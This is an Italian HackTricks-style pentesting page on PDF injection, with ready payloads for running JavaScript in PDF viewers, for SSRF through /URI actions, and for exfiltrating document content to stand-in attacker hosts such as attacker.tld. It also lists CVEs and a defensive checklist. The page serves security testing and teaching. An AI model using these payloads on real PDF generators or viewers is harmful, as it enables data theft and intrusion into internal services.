PDF Injection

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Se il tuo input viene riflesso all’interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, causare SSRF o rubare il contenuto del PDF. La sintassi PDF è estremamente permissiva – se riesci a uscire dalla stringa o dal dizionario che incapsula il tuo input, puoi aggiungere nuovi oggetti (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome parseranno senza problemi. Dal 2024 un’ondata di report bug-bounty ha mostrato che basta una parentesi non escapata o un backslash per ottenere l’esecuzione completa di uno script.

TL;DR – Flusso d’attacco moderno (2024-2026)

  1. Trova qualsiasi valore controllato dall’utente che finisca all’interno di una (parenthesis string), /URI ( … ) o campo /JS ( … ) nel PDF generato.
  2. Inietta ) (chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con un’altra parentesi aperta per mantenere la sintassi valida.
  3. Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file – ottimo per bug blind).
  4. Il tuo payload viene eseguito nel viewer PDF:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → API JavaScript completa (può esfiltrare contenuti di file arbitrari con this.getPageNthWord)

Example (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

La prima ) chiude la stringa URI originale, poi aggiungiamo un nuovo dizionario Action che Acrobat eseguirà quando l’utente clicca il link.

Utile Injection Primitives

ObiettivoPayload SnippetNote
JavaScript on open/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome).
JavaScript on link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Funziona in PDFium & Acrobat se controlli un’annotazione /Link.
Blind data exfiltration<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Combinalo con this.getPageNthWord dentro JS per esfiltrare contenuto.
Server-Side SSRFSame as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI.Stesso concetto di sopra ma indirizza un URL interno – ottimo quando il PDF è renderizzato da servizi back-office che rispettano /URI.
Additional Actions (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>Allega a un dizionario Page/Annotation/Form per eseguire all’apertura/alla messa a fuoco.
Line Break for new objects\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjSe la libreria ti permette di iniettare caratteri di nuova linea puoi creare oggetti completamente nuovi.

Embedded Actions as Injection Targets

I visualizzatori PDF trattano le embedded actions come /OpenAction e /AA (Additional Actions) come funzionalità di prima classe che possono essere eseguite quando un documento si apre o quando scatta un evento specifico. Se puoi iniettare in qualsiasi dizionario che accetta actions (Catalog, Page, Annotation, or Form field), puoi innestare un albero /AA e attivare JavaScript all’apertura/alla messa a fuoco.

Esempio di payload per generator-side object injection (chiudi la stringa/dizionario originale e inietta /AA):

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

Questo pattern corrisponde a recenti problemi di jsPDF in cui input controllati dall’attaccante passati a addJS (o ad alcuni campi AcroForm) interrompono la stringa JavaScript prevista e iniettano un dizionario Additional Action.

Blind Enumeration Trick

Gareth Heyes (PortSwigger) ha rilasciato una one-liner che elenca ogni oggetto all’interno di un documento sconosciuto – utile quando non puoi vedere il PDF generato:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Il codice itera sull’Acrobat DOM ed effettua richieste in uscita per ogni coppia proprietà/valore, fornendoti un dump JSON-ish del file. Vedi il white-paper “Portable Data exFiltration” per la tecnica completa.

Vulnerabilità reali (2023-2026)

  • CVE-2026-25755 – jsPDF addJS PDF object injection: stringhe controllate dall’attaccante possono chiudere il literal JS e iniettare azioni /AA/O/JavaScript che si attivano all’apertura/allo focus.
  • CVE-2024-4367 – Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della 4.2.67 che ha bypassato la sandbox tramite una azione /JavaScript appositamente costruita.
  • Bug bounty 2024-05 – Una importante fintech ha permesso note delle fatture fornite dai clienti che finivano in /URI; report pagato $10k dopo dimostrato SSRF verso un host metadata interno usando URI file:///.
  • CVE-2023-26155node-qpdf command-injection tramite percorso PDF non sanificato mostra l’importanza dell’escape di backslash e parentesi anche prima del livello PDF.

Scheda rapida difensiva

  1. Non concatenare mai input utente grezzo all’interno di stringhe o nomi delimitati da (). Esegui l’escape di \, (, ) come richiesto da §7.3 della specifica PDF oppure usa stringhe esadecimali <...>.
  2. Se costruisci link, preferisci /URI (https://…) che codifichi completamente con URL-encoding; blocca gli schemi javascript: nei viewer client.
  3. Rimuovi o valida i dizionari /OpenAction, /AA (additional actions), /Launch, /SubmitForm e /ImportData quando effettui post-processing sui PDF.
  4. Lato server, renderizza i PDF non affidabili con un converter headless (es. qpdf –decrypt –linearize) che rimuove JavaScript e azioni esterne.
  5. Tieni aggiornati i viewer PDF; PDF.js < 4.2.67 e Acrobat Reader prima delle patch di luglio 2024 consentono esecuzione di codice banale.
  6. Se usi generatori client-side (es. jsPDF), non passare mai input non affidabile a addJS o ai setter di AcroForm che finiscono nei dizionari di azione PDF.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks